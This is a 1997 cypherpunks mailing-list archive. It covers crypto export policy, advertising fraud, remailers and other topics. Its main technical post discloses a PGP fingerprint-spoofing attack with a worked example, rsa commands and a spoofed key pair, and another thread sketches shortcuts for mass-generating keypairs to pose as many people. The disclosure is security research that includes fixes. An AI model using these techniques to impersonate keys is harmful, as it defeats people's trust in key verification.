-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5tBtI9Co1n+aLhhAQHgOQQAnlWK4zx73nDMjx0e794RgW9Gu9QiFZLY
9fxxp8O2jX/Udky5sD6ojtQedvWQu39P05YLtf/UkUZfPsd27dbNhEiuPNEQxFPN
6IId9BJ2ts+fc+ZeWEzNdnEXjJ9Yar/9ysIrt2fC2nfv1BYUs57uinU9kAj0bO30
Jbek/gI+sSg=
=ZMKe
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 01:55:22 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <caNZ8D36w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970608181444.1220A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > <sigh> Ofcource what I say in a contract is "free". I can say anything I
> > want in a contract solong as the parties involved agree.
> 
> Are ads a part of the contract, though?

I wouldn`t say so, in the UK the DTI and the Director of fair trading 
regulates the market in such a way that one cannot make claims that are 
known to be false in advertisements. To use your example, if you post an 
ad saying Borscht <sp?> cures cancer, and someone buys beet from you as a 
cure, you will normally have a contract of sale which says "...beet will 
cure all cancer and the customer will regain normal health in this 
respect" etc. etc. If the customer then dies of cancer, you have breached 
that contract. However, the advertisment itself does not take the form of 
a contract, or part thereof, if you had not sold the beet, but only said 
that it cures cancer, your advertisement would have been pure protected 
speech. Besides which, anyone buying Borscht to cure cancer is 
probably better removed from the gene pool anyway ;-).

> If I enter into a sales contract with Kent to give him borsch to cure
> his cancer, and this is not an FDA-approved treatment, then this contract
> is against public policy and shouldn't be enforceable. :-)

Exactly, but of course your only real crime would be the breach of 
contract, not the FDA-Non approval, this breach would of course be a 
civil crime the penalties for which would be part of the contract or 
defined in an external "default penalties" contract which would be 
implicitly #included into the original contract.

> But to convict me of fraud, the gubmint should prove that borshch doesn't
> cure cancer.  How would one prove that?

This is why I think such a contract would not occur, even if it were a 
more sensible example (eg. a few years ago before the mainstream tests, 
saying that AZT prolonged the life of HIV carriers), more likely the 
contract would say that the AZT/Borscht etc. "increased the probability 
of cure/increased the probability of living longer" etc. This would be 
virtually impossible to disprove, unless the improvement probability 
were to be specified. To disprove that Borscht cures cancer 
would be a simple matter which I leave as an exercise to the reader ;-).

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 9 Jun 1997 07:21:37 +0800
To: cypherpunks@toad.com
Subject: Dems Critique Crypto Policy
Message-ID: <1.5.4.32.19970608230146.0098ceec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



These views from Democratic legislators on the SAFE
crypto bill is excerpted from House Report 105-108, dated 
May 22, 1997, which reports on the recent hearing testimony, 
DoJ's critique, and Goodlatte's responses to administration 
criticism. It cites the Blaze et al report on the risks of key
recovery, Sun's alliance with Elvis, current litigation and
non-US commercial exploitation of the crypto stalemate.

   http://jya.com/hr105-108.htm  (94K)

-----

                    ADDITIONAL MINORITY VIEWS

                                   John Conyers, Jr.
                                   Rick Boucher.
                                   Zoe Lofgren.
                                   Maxine Waters.
                                   William Delahunt.
                                   Martin T. Meehan.

    We offer these additional views not to foment dissent but
to encourage dialogue with the Administration on the issues
related to encryption. We would like to work with federal law
enforcement and national security agencies to address their
concerns.

    We sympathize with the difficulties faced by investigative
and security agencies in combating crime, terrorism, and
espionage. We believe it is quite legitimate for the
Administration to be concerned about the uncertain impact that
strong and ubiquitous encryption products may have on law
enforcement and national security agencies. We realize that it
may ultimately become impossible for government agencies to
decipher intercepted or retrieved data and communications that
have, by encryption, been transformed into a seemingly
unintelligible form.

    We recognize the days of cracking strong codes are nearly
gone. Unbreakable codes (256-bit key algorithms can generate
more possible solutions than there are particles in the known
universe) are already widely known. Private security experts
and sophisticated hackers have already realized this and are
beginning to develop ways of attacking the vulnerable points
before and after the information is encrypted (i.e., on the
sender's hard drive or at a ``good-guy'' recipient such as a
bank). We suspect that law enforcement and national security
experts within the government are acquiring similar
capabilities. But these alternative (and more subtle)
approaches are not reflected in the Administration's current
public policy toward encryption.

    The Administration's current encryption policy, a policy
that runs back at least to the Bush Administration, creates
more problems than it resolves. The policy is a combination of
encryption export controls and a key escrow system by which the
key to the code encrypting the information is to be held by a
third party (so it may be made available to the government).

    We need to be honest about this situation. We don't expect
most narcotics traffickers, terrorists, or criminals to respect
export restrictions on encryption when they don't respect our
underlying drugs or weapons laws. And we don't generally expect
anyone who employs encryption in furtherance of a crime to
readily give their keys to some third party so they may be made
available to the government.

    The Administration maintains that there is a commercial
need for key recovery. While that may be true to some extent,
there appears to be little or no demand for the all-
encompassing system they want to mandate. Experts have
uniformly concluded the government's proposed system is either
excessively costly and complex or insecure. In part, this is
true because the government seeks access to real-time
communications and data transmissions, rather than the ability
to recover stored data.

    The Administration insists it doesn't want domestic
restrictions on encryption. We are concerned, however, that the
Administration policy does have this effect. Development of
software programs, including those utilizing encryption, occurs
at an amazingly rapid pace, so it is not feasible for computer
software and hardware companies to develop separate products
for export and for domestic use. As a result, as a practical
matter, only products that are exportable, with weaker
encryption or with government-approved key recovery-escrow, can
be marketed at present.

    We fear that current encryption policy, encouraging as it
does weaker encryption, makes every American more vulnerable to
illicit or surreptitious access to our computer files, our
phone conversations, and personal information, and thus exposes
our citizens to hackers, terrorists, and thieves. It is ironic
that what is trumpeted as an aid to law enforcement may
instead compromise individual and corporate security.

    What we have here is not only a combination of export
controls and a key recovery system that does not work, we have
a system that compromises the competitiveness and security of
this nation's software and hardware industry, as well as our
privacy rights. As conceded by Administration witnesses, the
proposed key recovery system can succeed only as long as there
is no non-conforming encryption software readily available in
the market. But there is already an abundance of such software,
some of it freeware, that is readily available over the
Internet.

    The proposed key recovery system can not work unless the
United States persuades every other nation to adopt key
recovery. We can safely say we are unlikely to obtain the
agreement of Libya, Iran, Iraq, or North Korea. In addition,
the efforts to date of David Aaron, U.S. Ambassador to the
Organization for Economic Cooperation and Development (OECD),
to obtain a consensus in support of key recovery resulted
instead in a consensus opposing it.

    The Administration's policy has therefore been a strong
market incentive:

          (a) for non-participants (in the Administration's key
        escrow program) to make non-standard, secure encryption
        available, and

          (b) for U.S. companies to set up abroad in
        "encryption havens'' so they may legally market
        strong, secure encryption products to customers who
        decline to make their "international key'' available
        to diverse governments around the world.

There are already U.S. companies establishing ties with foreign
companies in Japan, Russia, and elsewhere.

    Nor is this policy without its cost. It is estimated that,
if the U.S. persists in its current policy through the year
2000, we shall lose 200,000 jobs and $60 billion each year.
This is what it will cost this nation to lose the cryptography
lead we enjoy and the competitive expertise necessary to
maintain our market position.

    Unfortunately, our discussions to date with law enforcement
and intelligence agencies have not admitted of the possibility
of any further relaxation of export restrictions as part of the
broader process essential to resolving this complex question.
Nor has the Administration offered to consider alternatives to
its key escrow or key recovery system.

    H.R. 695 need not be the end of the process but the
beginning of a real dialogue. This is what we would like to
happen. We continue to remain hopeful that the Administration
will acknowledge the shortcomings of its current policy and
sincerely hope that this will happen soon lest more serious
damage be done to our industry, to our security and to our
privacy.

[End exceprt]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 9 Jun 1997 07:19:56 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: PGP Key generation
In-Reply-To: <199706082051.VAA05211@server.test.net>
Message-ID: <3.0.2.32.19970608190515.007152dc@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I have a question for any of you that may know the answer.  This is for a 
paper I am giving to the Social Security Administration on Tuesday, so I 
would appreciate any answer I get.

If I generate a personal PGP keypair on some machine it takes a specific 
period of time to do the intensive calculations, let's assume ten minutes for 
this example.  If I needed 10,000 such individual keyspairs for a unspecified 
authentication attack, does this have to take 10,000 times 10 minutes (over 
two months with this CPU), or is there a faster way to generate a large 
number of keypairs to appear to be a large number of people.

The larger question is since 10,000 unique written signatures seems to 
indicate that 10,000 unique individuals exist, would 10,000 unique PGP 
signatures also seem to indicate that these are not from the same person?


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM5s6qEGpGhRXg5NZAQG0ywIAwM3EOYMTvpxZEJqpsEqGvdAGA35Tjv0I
ODzAbs/aoSQ6KWMwmw306GOvfSCGBQDgw5QJ/0ENxFwb+1OFkcA2BQ==
=hVvI
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 9 Jun 1997 23:18:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <19970608191152.24366@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 06:14:59PM -0500, William H. Geiger III wrote:
>In <v03102802afc0e602d172@[207.167.93.63]>, on 06/08/97 
>   at 03:48 PM, Tim May <tcmay@got.net> said:
[...]
>>Contracts, with clearly stated conditions and with judgeable or
>>falsifiable/testable conditionals, are a matter for the courts (private
>>courts, in fact), but vague promises, advertisements, propaganda, etc.
>>are not.
>
>>Clear now?
>
>Well I would have to dissagre. Advertisements should be covered under
>contract law as verbal contracts. If I advertise that "X" does "Y" but it
>really does "Z" then this is clearly fraudulent behavior.
>
>The difficulty is in proving that "X" does "Z" and not "Y" but that is an
>exercise left to the civil courts.

I agree that advertisements are in many cases a verbal contract ("does
0-60mph in 5 seconds flat"), but this seems to be intrinsically messy. 
There aren't any simple, clear-cut rules that separate advertising
from other speech. 

But the fundamental principle that says "redress is available for speech
that causes harm" seems fairly clean.  That cuts across advertising,
salespersons lies, libel/slander, yelling "fire" in a theater -- a
whole gamut of free speech issues.  Spam falls under such a rule, as
well.  Of course, the issue of prior restraint is orthogonal to this 
rule... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 9 Jun 1997 23:13:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Julf ordered to reveal anon IDs
In-Reply-To: <199706081936.MAA00296@fat.doobie.com>
Message-ID: <199706090224.TAA09036@netcom20.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone with Huge Cajones wrote:

> Johan Helsingius (Julf) has been ordered to release the identity of the
> poster of one of the Scamizdat series of confidential materials. 

> "The following ID's were used to send material through anon.penet.fi: 
> an498608@anon.penet.fi, an545430@anon.penet.fi

Wasn't the Penet anon database expunged when the service was discontinued? 

I'd hate to think anyone was dense enough to keep copies lying around, in
order to comply with frivilous Clam lawsuits in perpetuity. 

BTW, are the Clams still looking for crypographic consultants to decrypt
the Grady Ward files?  It has been a while since I have perused
alt.religion.elron. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Mon, 9 Jun 1997 07:49:30 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: FC97 in July Wired
In-Reply-To: <v03020914afc071401b5b@[139.167.130.246]>
Message-ID: <Pine.LNX.3.95.970608193500.26178C-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




> It appears that Vince gets a
> subscription down in Anguilla, which got there yesterday, and probably
> everywhere else, I reckon.

Appearances can be deceiving.  I just heard about it, I don't have
a copy.

> So, the checks may take 90 days to clear in
> Anguilla, but at least the mail gets there on time...

It is 30 working days, and we never have enough holidays to make that 90
days.  Local checks clear in 1 day.  How fast do your local checks 
clear?  :-)   

  -- Vince






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 9 Jun 1997 08:25:16 +0800
To: Vincent Cate <vince@offshore.com.ai>
Subject: Re: FC97 in July Wired
In-Reply-To: <v03020914afc071401b5b@[139.167.130.246]>
Message-ID: <v03020911afc0f6e7e357@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:39 pm -0400 on 6/8/97, Vincent Cate wrote:


> It is 30 working days, and we never have enough holidays to make that 90
> days.  Local checks clear in 1 day.  How fast do your local checks
> clear?  :-)

ACK! I meant "foriegn" checks. As for the 60-day variance, I plead
innumeracy. (What? Philosophy majors are supposed to *count*, too?). ;-).

OTOH, maybe 30 days just *seems* like 90 when you're waiting for it. :-).

Anyway, 30 days or 90, I bet FSTC-check/ACH gateways <http://www.fstc.org/>
are going to be *real* popular in places like Anguilla someday. Almost as
popular as those call-back services are now...

You can't regulate the arbitrage.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 9 Jun 1997 10:40:00 +0800
To: pooh@efga.org>
Subject: Re: PGP Key generation
In-Reply-To: <3.0.2.32.19970608190515.007152dc@mail.atl.bellsouth.net>
Message-ID: <Pine.LNX.3.96.970608211659.3887A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 8 Jun 1997, Robert A. Costner wrote:

> I have a question for any of you that may know the answer.  This is for a
> paper I am giving to the Social Security Administration on Tuesday, so I
> would appreciate any answer I get.
> 
> If I generate a personal PGP keypair on some machine it takes a specific
> period of time to do the intensive calculations, let's assume ten minutes for
> this example.  If I needed 10,000 such individual keyspairs for a unspecified
> authentication attack, does this have to take 10,000 times 10 minutes (over
> two months with this CPU), or is there a faster way to generate a large
> number of keypairs to appear to be a large number of people.

There are a few shortcuts you could take.  For instance, instead of finding
two random, prime numbers for every key, just keep one prime constant and
generate another random prime for each key.  This has the disadvantage
that any one key factored would allow the other keys to be factored
trivially.  I know there are other ways, but I'm not very good with number
theory.

Using this technique, it would take about half as long to generate 10,000
public keys.

> The larger question is since 10,000 unique written signatures seems to
> indicate that 10,000 unique individuals exist, would 10,000 unique PGP
> signatures also seem to indicate that these are not from the same person?

The basis of PGP is the web of trust.  Keys are signed by people who are
trusted to be competent and truthful, so the user can be sure to a certain
degree that the key really is owned by the person listed in the ID field.
There are problems that arise with this simplistic key management system,
but I won't reiterate what has been discussed many times before.  There
are a few papers that discuss this in detail.  Here are some pointers:

ds.internic.net/internet-drafts/draft-ietf-spki-cert-req-00.txt
                                draft-ietf-spki-cert-structure-01.txt
research.att.com/dist/mab/policymaker.ps
http://theory.lcs.mit.edu/~rivest/

So the simple answer to this question is that one would not be able to
get all 10,000 keys signed, so there would only be one key that could
be trusted to belong to that person.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM5teJSzIPc7jvyFpAQF68wf/YiMlEkZV0axYIAp+WNCGlhuG9JTmu5st
4YUXGvkxwg4icePatfz+yttWfpYEmnSKP/9ZiLAAegsfuWcaK9frnntguUsH5jxE
SZMXVWQzIqjW8sTNWY5KtDLbAkNE99gLCbPGq4zaksryzWYwwqOukHFXHFZkKWF6
0sEk3H+AVY5SOCUf/MuNZACc1d6CLsWBHoUl2BFCi0seUcFqdBnEmydIaIyI4fee
Kdezl/QPnVWQKBmZVuYfUtIrP+Kc1cD30D7LAqcPd+rr9UkstOv0rsRR5vH2SZwp
7T8MFCeRQx1gs/j4QUvKgS/Y+vYrewTUmjdpADBF70ck0io23z4JZQ==
=n5hc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 23:34:11 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199701081748.RAA00773@server.test.net>
Message-ID: <Pine.LNX.3.91.970608213528.1534A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> (I forget name, but there is a non-governmental paramilitary group on
> other side to IRA in NI, occasionally there is rumor that British Army
> is feeding this paramilitary organisation names of IRA suspects to
> hit, to save them the trouble).

There are several, I believe the main one is the RUC ;-)....

> Wonder what the interest is in Northern Ireland?

Probably just the usual image thing, to pull out of NI after so much 
brutality had been carried out and so much money spent now would be 
inviting a media barbeque.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Tue, 10 Jun 1997 13:03:49 +0800
To: se7en <cypherpunks@toad.com>
Subject: Re: FCPUNX:My War
Message-ID: <199706100450.VAA27290@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:13 PM 6/8/97 -0700, se7en wrote:
> [about child pornography on the internet]
> It is disgustingly real. It is so real it will make you 
> want to throw up, and I actually, physically did throw up last night.
>
> Second, in reference to previous conversation over the years on this list, 
> and in the hacking community in general, I know this type of activity is 
> not tolerated by us.

You are no hacker:  You appear to be Rich Graves.  Furthermore this 
activity is tolerated by us.

And as usual you are discovering and publicising all sorts of good reasons
why the government should supervise us, while piously declaring you are
opposed to any such supervision.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 9 Jun 1997 05:02:04 +0800
To: cypherpunks@cyberpass.net
Subject: PGP key fingerprint spoofing
Message-ID: <199706082051.VAA05211@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Well we're all aware of the 0xDEADBEEF attack, right?  (PGP keyids,
are the 8 hex digit number which PGP recognizes a key by.  The
0xDEADBEEF attack (so christened by Greg Rose one of the people who
independently rediscovered this attack) is where you generate a PGP
key which has the same key id as someone else's key.  This could
confuse a keyserver, or a user into using the wrong key.  This attack
is fairly easy to do, just choose p ending in 0xDEADBEEF (or whatever
the desired key id is), then start with q ending in 0x00000001, and
add some value larger than 0xFFFFFFFF at each iteration doing your
primality test, the p and q will then multiply to have the desired
least significant bits of n).  You may also have noticed that Gary
Howland has a keyid of 0xc001d00d ("cool dude", get it).

Anyway it seems that you can spoof the finger print also indirectly,
which is much less obvious, as the fingerprint is the MD5 hash of the
RSA modulus concatenated with the RSA public exponent.

This was described recently on coderpunks.  (I was forced to eat my
words on coderpunks after declaring this was impossible without an
exploitable flaw in MD5 or brute force of 2**128 bit search space,
when someone explained the concatenation weakness).  I'm not sure who
it was that discovered this attack, or which list/newsgroup this was
announced on, but this was the first I had seen it discussed.

The concatenation is the weakness, as if you have an RSA key of:

n = 0x1234567
e = 0x11

Then you can try n = 0x12345, and e = 0x6711.  So you try factoring
each n of this form, and if it has two factors p and q, then you can
construct a key with the same fingerprint, but with different key.
Anyone who bothers to would be able to factor 0x1234567 also, so it is
not secure, but if you can fool someone into using this key in place
of the real one, you can get their communications.  It will be much
easier to fool someone to use this key as the fingerprint is the same!

Here's an example...

Say we have a 1024 bit key, say e is small ( < 256).  That means
n || e is 129 bytes long.

The e value must be represented by a whole byte.  n can't be smaller
than 384 bits (or PGP will reject it as too small to hold the required
idea message key and padding), so that will give us 80 possible values
for e and n.  Lets use my 1024 bit key for an example.

n = 0x99d61071378ee2c0c8c9c4b7786b203dedf2d6e526f24f7e83f3e0f960fb66b9
      cb81c04e89d70689a4866f21ad1bb5ba6aee51469e5b59b121ba6f3f8d776b62
      7253ba5dc9fca8155a565b9893f695d83a0496eb977ee4659ee20e0f2eb49b25
      93c11487b377cc5d767c79fb985b464d4ae94a5f45e42e3b29c8b89d556a4a67
e = 0x13

So we could try:

e = 0x6713
e = 0x4a6713
e = 0x6a4a6713
...
n = 0x99d61071378ee2c0c8c9c4b7786b203dedf2d6e526f24f7e83f3e0f960fb66b9
      cb81c04e89d70689a4866f21ad1bb5ba
      
e = 0x6aee51469e5b59b121ba6f3f8d776b627253ba5dc9fca8155a565b9893f695d8
      3a0496eb977ee4659ee20e0f2eb49b2593c11487b377cc5d767c79fb985b464d
      4ae94a5f45e42e3b29c8b89d556a4a6713

Here's the first candidate I found with only two factors starting from
the smallest n value (384 bit n) so that it would be quicker to
factorize (anything that took a long time to factor I moved on to next
value).

n = 0x99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9
      CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B62
      7253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465
e = 0x9EE20E0F2EB49B2593C11487B377CC5D767C79FB985B464D4AE94A5F45E42E3B
      29C8B89D556A4A6713

p = 0x6D

q = 0x1694DA7CA7DC9B69CD9ECAAC8BCDF6A41988A31132573CFD6EF72CC44FFF5330
      69074D8CB3F0974586892A25D2F3A08C19173D406266A82CCA3C3F4D705CAF78
      23922972C20D99D8DBF07E2DE20CB5B3B3F747797B3A8D9

n = 0x99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9
      CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B62
      7253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465

d = 0x0455419C3B8CCE54710EC04F9FA61F83A5E2363BE0D2E361886080716E7B8886
      EA62B748F20B9E9E7F93F768616D3AF5F8785D514A82EE41CB1FF251FFB053FA
      173D0B239D7BD1995B4F7DE3B2B112F911BE1304453EAC53

u = 0x0162AC862E1D88F2ACC3230A4AED13AEC3EA4A978387684ADA099644FF9FAA3D
      D51F6BA831347C5D12AD1CDC72F5FE40F66228E54573373C4A0F255A091879BC
      F2EA9509D46B673CB7C4EB8EDA0D6754DC373EA911653504

(Factorization courtesy of pollard rho / trial division code in the
factorization code which comes in ssh-1.2.20, which includes a
modified gmp-2.0.2 which has the code in the demos directory.)

I checked RSA operation (with my .sig rsa program which works with hex
numbers rather than formatted pgp keys) -- it works!!

% echo hello world | rsa -k=9EE20E0F2EB49B2593C11487B377CC5D767C79FB985B464D4AE94A5F45E42E3B29C8B89D556A4A6713 -n=99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B627253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465 > out
%
% rsa -k=0455419C3B8CCE54710EC04F9FA61F83A5E2363BE0D2E361886080716E7B8886EA62B748F20B9E9E7F93F768616D3AF5F8785D514A82EE41CB1FF251FFB053FA173D0B239D7BD1995B4F7DE3B2B112F911BE1304453EAC53 -n=99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B627253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465 < out
hello world
%

I'm off to pack this up as a PGP key, to see if PGP likes it!

Well here's that key as a pgp key.  Under no circumstances use it to
encrypt a message you care about.  Here's the public key.

Type Bits/KeyID    Date       User ID
pub   704/977EE465 1997/06/08 Adam Back <spoofed fingerprint DO NOT USE>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCNAzObE60AAAECwJnWEHE3juLAyMnEt3hrID3t8tblJvJPfoPz4Plg+2a5y4HA
TonXBomkhm8hrRu1umruUUaeW1mxIbpvP413a2JyU7pdyfyoFVpWW5iT9pXYOgSW
65d+5GUBSJ7iDg8utJslk8EUh7N3zF12fHn7mFtGTUrpSl9F5C47Kci4nVVqSmcT
tCpBZGFtIEJhY2sgPHNwb29mZWQgZmluZ2VycHJpbnQgRE8gTk9UIFVTRT6JAG0D
BRAzmxOtOgSW65d+5GUBAQ27ArwOTveQTs0kjzBEMa09yWFs5+jNjv5tzSCngzXO
bRzvwhTwWz4voR3ov2o0bGTYZF1biKRKeKqZzHb4Oq4XhD4TADdlmsxA5gQgbYFN
5K+tbgWEDQD53KFv
=rlth
-----END PGP PUBLIC KEY BLOCK-----

Here's the secret half:

-----BEGIN PGP SECRET KEY BLOCK-----
Version: 2.6.3i

lQGhAzObE60AAAECwJnWEHE3juLAyMnEt3hrID3t8tblJvJPfoPz4Plg+2a5y4HA
TonXBomkhm8hrRu1umruUUaeW1mxIbpvP413a2JyU7pdyfyoFVpWW5iT9pXYOgSW
65d+5GUBSJ7iDg8utJslk8EUh7N3zF12fHn7mFtGTUrpSl9F5C47Kci4nVVqSmcT
AAK7BFVBnDuMzlRxDsBPn6Yfg6XiNjvg0uNhiGCAcW57iIbqYrdI8guenn+T92hh
bTr1+HhdUUqC7kHLH/JR/7BT+hc9CyOde9GZW09947KxEvkRvhMERT6sUwAHbQK5
AWlNp8p9ybac2eyqyLzfakGYijETJXPP1u9yzET/9TMGkHTYyz8JdFhokqJdLzoI
wZFz1AYmaoLMo8P01wXK94I5IpcsINmdjb8H4t4gy1s7P3R3l7Oo2QK5AWKshi4d
iPKswyMKSu0TrsPqSpeDh2hK2gmWRP+fqj3VH2uoMTR8XRKtHNxy9f5A9mIo5UVz
NzxKDyVaCRh5vPLqlQnUa2c8t8TrjtoNZ1TcNz6pEWU1BIRbtCpBZGFtIEJhY2sg
PHNwb29mZWQgZmluZ2VycHJpbnQgRE8gTk9UIFVTRT4=
=lE9S
-----END PGP SECRET KEY BLOCK-----

Here are the fingerprints of spoofed key as compared to real key.

Type Bits/KeyID    Date       User ID

pub   704/977EE465 1997/06/08 Adam Back <spoofed fingerprint DO NOT USE>
            Key fingerprint = 18 B8 A0 65 9D 38 14 83  61 5A E6 AC 91 8B 9E 57

pub  1024/556A4A67 1993/06/08 Adam Back <aba@dcs.ex.ac.uk>
            Key fingerprint = 18 B8 A0 65 9D 38 14 83  61 5A E6 AC 91 8B 9E 57

Note the identical fingerprints!  (Awesome).

Key id of course is different.

Also note that you can't decrypt directly with PGP, as I suspected,
because the chinese remainder theorem used in decrypt to speed up the
works barfs on small p.  You can hack around that if you're bothered.
It might be possible to find a spoofed fingerprint key with large p
and q, so that this was not a problem.

Below this post is my real key.

This is a major security flaw, and I take my hat off to the guy who
discovered it.

As others noted (who were aware of this flaw) the solution is to
consider the keyid as part of the fingerprint.  That reduces by a
factor of 2^32 the likelihood of the attack succeeding.  I suspect
that rules out the attack working for most keys.  Also be suspicous of
odd sized keys.  Now if someones 2048 bit key has a 1024 bit spoof,
you're in trouble.  I'd be interested in estimates of the likelihood
of this being possible for a randomly selected key.

You could construct a key where the keyid matched, and the fingerprint
matched for two different keys, using a combination of dead beef
attack, and brute force to find a key with the keyid appearing two
places in the key, and then trying to factor the n value at that
point.  Shouldn't take long.

As far as PGP format goes, adding the length field into the digest
would go along way towards fixing it.  (Length fields for pgp big int
representation is big endian 16 bit word representing length of
following big int in bits).

There might still be a small chance of doing the fingerprint spoof
where the length fields both happened to be right.  As you require a
specific length field it would seem this attack would be 2^32 times
less likely to succeed.  This would make most keys safe.  I wonder if
there exists a key out there which would fall to this attack.

(btw for people playing with this stuff, a useful program is
pgpacket.pl by Mark Shoulsen, which displays pgp packets as hex
numbers, see ftp.ox.ac.uk/pgp somewhere under utils).

Adam

My real key, so you can compare fingerprints.

Type Bits/KeyID    Date       User ID
pub  1024/556A4A67 1993/06/08 Adam Back <aba@dcs.ex.ac.uk>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCNAiwUXUEAAAEEAJnWEHE3juLAyMnEt3hrID3t8tblJvJPfoPz4Plg+2a5y4HA
TonXBomkhm8hrRu1umruUUaeW1mxIbpvP413a2JyU7pdyfyoFVpWW5iT9pXYOgSW
65d+5GWe4g4PLrSbJZPBFIezd8xddnx5+5hbRk1K6UpfReQuOynIuJ1VakpnAAUT
tBxBZGFtIEJhY2sgPGFiYUBkY3MuZXguYWMudWs+iQCVAwUQMiDfwUZRiTErSPb1
AQF/yAP8D1X2eAhXSc0P/X7lCHyBhWCl3pxa6oyGxFBOmUeOGfYna8CpJeMiTmZm
akRWDYmJUiXscQUfd9qRv8eAeOtbvM87olSjm56Dlh4gYJFZRxZ6IhHlFJx3mPmp
